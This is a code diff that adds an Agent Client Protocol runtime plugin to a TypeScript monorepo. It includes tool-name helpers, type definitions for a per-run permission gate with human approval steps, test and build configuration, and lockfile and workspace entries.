const KIND_LABELS: Record<ToolKind, string> = {
read: "Read",
edit: "Edit",
delete: "Delete",
move: "Move",
search: "Search",
execute: "Execute",
think: "Think",
fetch: "Fetch",
switch_mode: "Switch Mode",
other: "Tool",
};
/**
* Resolve a display name for a tool call. Prefers the agent-supplied `title`;
* falls back to a label derived from `kind`; final fallback is `"tool"`.
*/
export function toolDisplayName(toolCall: { title?: string | null; kind?: ToolKind | null }): string {
const title = typeof toolCall.title === "string" ? toolCall.title.trim() : "";
if (title) return title;
const kind = toolCall.kind;
if (kind && kind in KIND_LABELS) return KIND_LABELS[kind];
return "tool";
}
/**
* Normalize a tool call's `rawInput` to a plain object. Returns `{}` when the
* input is undefined, null, or any non-object (arrays included) so downstream
* code can always treat args as a record.
*/
export function normalizeToolArgs(rawInput: unknown): Record<string, unknown> {
if (rawInput === null || typeof rawInput !== "object" || Array.isArray(rawInput)) {
return {};
}
return rawInput as Record<string, unknown>;
}

View File

@@ -0,0 +1,139 @@
// Local types for the ACP (Agent Client Protocol) runtime plugin.
//
// The wire protocol types come from `@agentclientprotocol/sdk` (the `schema`
// namespace). These local types describe (a) the Fusion `AgentRuntime` contract
// this plugin implements and (b) the ACP session state this plugin tracks.
//
// The `AgentRuntimeOptions` here is a plugin-local structural copy of the engine
// contract (`packages/engine/src/agent-runtime.ts`). It deliberately includes
// only the fields this runtime reads. `actionGateContext` is the engine-populated
// per-run permission gate — see `PermissionGate` below, the narrow structural
// view this plugin couples to instead of importing `@fusion/engine` internals.
import type { AcpConnection } from "./provider.js";
/** Callbacks the engine wires to surface streamed agent output into Fusion's UI/logs. */
export interface AcpCallbacks {
onText?: (text: string) => void;
onThinking?: (text: string) => void;
onToolStart?: (toolName: string, args?: unknown) => void;
onToolEnd?: (toolName: string, isError: boolean, result?: unknown) => void;
}
/** Per-category permission disposition (mirrors the engine policy shape). */
export type GateDisposition = "allow" | "block" | "require-approval";
/**
* Fusion action-gate categories — the full policy-rule keyspace, used to read
* `permissionPolicy.rules[category]`. `"exempt"` is implicit (read-only / benign)
* and always allows.
*
* Note: ACP's `ToolKind` has no git/task discriminator, so `classifyToolKind`
* only ever produces `file_write_delete` / `command_execution` / `network_api`
* (+ exempt). `git_write` and `task_agent_mutation` remain part of the category
* type because the policy rules are keyed by all categories — git writes in
* particular route through `file_write_delete` gating PLUS the path-jail's hard
* `.git/**` reject (KTD6a), not a dedicated `git_write` classification.
*/
export type FusionCategory =
| "git_write"
| "file_write_delete"
| "command_execution"
| "network_api"
| "task_agent_mutation";
/** Approval lifecycle status as returned by the gate's lookup closure. */
export type ApprovalStatus = "pending" | "approved" | "denied" | "completed";
/**
* Narrow structural view of the engine's `AgentActionGateContext`
* (`packages/engine/src/agent-action-gate.ts`). The plugin reads only these
* members; typing them locally avoids a hard dependency on `@fusion/engine`.
*
* `permissionPolicy.rules` is the per-category disposition map the U5 floor
* consults — NEVER a preset id (S1/KTD3a). All HITL closures except
* `createApprovalRequest` are optional: when the HITL machinery is absent, the
* permission floor (U5) default-denies `require-approval` categories rather than
* throwing (Risk S1).
*/
export interface PermissionGate {
permissionPolicy?: {
rules?: Record<string, GateDisposition>;
};
/** Register an approval request; returns the created record (with an `id`). */
createApprovalRequest?: (
decision: unknown,
args: Record<string, unknown>,
) => Promise<unknown> | unknown;
/** Look up a prior decision by dedupe key (decision reuse). */
findApprovalByDedupeKey?: (
dedupeKey: string,
) => Promise<{ id: string; status: ApprovalStatus } | null> | { id: string; status: ApprovalStatus } | null;
/** Block until the human resolves the referenced approval request. */
pauseForApproval?: (info: {
approvalRequestId: string;
decision: unknown;
}) => Promise<void> | void;
/** Mark an approval request finalized after the decision is consumed. */
markApprovalCompleted?: (approvalRequestId: string) => Promise<void> | void;
}
/** Plugin-local copy of the engine's AgentRuntimeOptions (subset this runtime reads). */
export interface AgentRuntimeOptions {
cwd: string;
systemPrompt: string;
tools?: "coding" | "readonly";
onText?: (text: string) => void;
onThinking?: (text: string) => void;
onToolStart?: (toolName: string, args?: unknown) => void;
onToolEnd?: (toolName: string, isError: boolean, result?: unknown) => void;
defaultProvider?: string;
defaultModelId?: string;
defaultThinkingLevel?: string;
/** Per-run permission gate, populated by the engine. See PermissionGate. */
actionGateContext?: PermissionGate;
}
/** Live ACP session state tracked by the runtime adapter. */
export interface AcpSession {
/** Model/agent identifier resolved for this session. */
model: string;
systemPrompt: string;
/** ACP session id returned by `session/new` (empty until established). */
sessionId: string;
/** Working directory the agent operates over (the task worktree). */
cwd: string;
lastModelDescription: string;
callbacks: AcpCallbacks;
/** Per-run permission gate captured at createSession (U5/U7 read this). */
gate?: PermissionGate;
/**
* Live ACP connection backing this session (U3). Prompt/dispose reach the
* agent through it. Undefined only for the bare session shell used in tests.
*/
connection?: AcpConnection;
/**
* Reset the event bridge's per-turn state (tool correlation, delta
* accumulators, output-cap latch). Called by `promptWithFallback` at the start
* of each turn (FIX 1). Undefined for the bare session shell used in tests.
*/
resetTurn?: () => void;
dispose(): void;
}
export type AgentSession = AcpSession;
export interface AgentSessionResult {
session: AgentSession;
sessionFile?: string;
}
/** The Fusion runtime contract this plugin implements (mirrors the engine interface). */
export interface AgentRuntime {
id: string;
name: string;
createSession(options: AgentRuntimeOptions): Promise<AgentSessionResult>;
promptWithFallback(session: AgentSession, prompt: string, options?: unknown): Promise<void>;
describeModel(session: AgentSession): string;
dispose?(session: AgentSession): Promise<void>;
}

View File

@@ -0,0 +1,9 @@
{
"extends": "../../tsconfig.base.json",
"compilerOptions": {
"outDir": "dist",
"rootDir": "src",
"types": ["node", "vitest/globals"]
},
"include": ["src/**/*"]
}

View File

@@ -0,0 +1,22 @@
import { defineConfig } from "vitest/config";
import { fileURLToPath } from "node:url";
import { computeMaxWorkers } from "../../packages/core/src/__test-utils__/vitest-workers";
const maxWorkers = computeMaxWorkers();
export default defineConfig({
resolve: {
alias: {
"@fusion/core": fileURLToPath(new URL("../../packages/core/src/index.ts", import.meta.url)),
"@fusion/plugin-sdk": fileURLToPath(new URL("../../packages/plugin-sdk/src/index.ts", import.meta.url)),
},
},
test: {
include: ["src/**/*.test.ts"],
setupFiles: [fileURLToPath(new URL("../../packages/core/src/__test-utils__/vitest-setup.ts", import.meta.url))],
globalSetup: [fileURLToPath(new URL("../../packages/core/src/__test-utils__/vitest-teardown.ts", import.meta.url))],
pool: "threads",
maxWorkers,
poolOptions: { threads: { minThreads: 1, maxThreads: maxWorkers }, forks: { minForks: 1, maxForks: maxWorkers } },
},
});

34
pnpm-lock.yaml generated
View File

@@ -630,6 +630,31 @@ importers:
specifier: ^3.2.4
version: 3.2.4(@types/debug@4.1.13)(@types/node@25.5.2)(jiti@2.7.0)(jsdom@29.0.1)(tsx@4.21.0)(yaml@2.9.0)
plugins/fusion-plugin-acp-runtime:
dependencies:
'@agentclientprotocol/sdk':
specifier: 0.24.0
version: 0.24.0(zod@4.3.6)
'@earendil-works/pi-ai':
specifier: '*'
version: 0.78.0(@modelcontextprotocol/sdk@1.28.0(zod@4.3.6))(ws@8.20.0)(zod@4.3.6)
'@earendil-works/pi-coding-agent':
specifier: '*'
version: 0.78.0(@modelcontextprotocol/sdk@1.28.0(zod@4.3.6))(ws@8.20.0)(zod@4.3.6)
'@fusion/plugin-sdk':
specifier: workspace:*
version: link:../../packages/plugin-sdk
devDependencies:
'@types/node':
specifier: ^25.5.2
version: 25.5.2
typescript:
specifier: ^5.7.0
version: 5.9.3
vitest:
specifier: ^3.2.4
version: 3.2.4(@types/debug@4.1.13)(@types/node@25.5.2)(jiti@2.7.0)(jsdom@29.0.1)(tsx@4.21.0)(yaml@2.9.0)
plugins/fusion-plugin-agent-browser:
dependencies:
'@fusion/plugin-sdk':
@@ -1005,6 +1030,11 @@ packages:
'@adobe/css-tools@4.4.4':
resolution: {integrity: sha512-Elp+iwUx5rN5+Y8xLt5/GRoG20WGoDCQ/1Fb+1LiGtvwbDavuSk0jhD/eZdckHAuzcDzccnkv+rEjyWfRx18gg==}
'@agentclientprotocol/sdk@0.24.0':
resolution: {integrity: sha512-vvu9appvGvfYstBj19C6NCepV6SvUhY5VRv60KUZ4XzhTah/olOYul5Zo4C+x2enyshMSvgB2mm/OEmrsHaSmA==}
peerDependencies:
zod: ^3.25.0 || ^4.0.0
'@alcalzone/ansi-tokenize@0.2.5':
resolution: {integrity: sha512-3NX/MpTdroi0aKz134A6RC2Gb2iXVECN4QaAXnvCIxxIm3C3AVB1mkUe8NaaiyvOpDfsrqWhYtj+Q6a62RrTsw==}
engines: {node: '>=18'}
@@ -6473,6 +6503,10 @@ snapshots:
'@adobe/css-tools@4.4.4': {}
'@agentclientprotocol/sdk@0.24.0(zod@4.3.6)':
dependencies:
zod: 4.3.6
'@alcalzone/ansi-tokenize@0.2.5':
dependencies:
ansi-styles: 6.2.3

View File

@@ -21,6 +21,7 @@ packages:
- "plugins/fusion-plugin-openclaw-runtime"
- "plugins/fusion-plugin-hermes-runtime"
- "plugins/fusion-plugin-droid-runtime"
- "plugins/fusion-plugin-acp-runtime"
- "plugins/fusion-plugin-cursor-runtime"
- "plugins/fusion-plugin-agent-browser"
- "plugins/fusion-plugin-whatsapp-chat"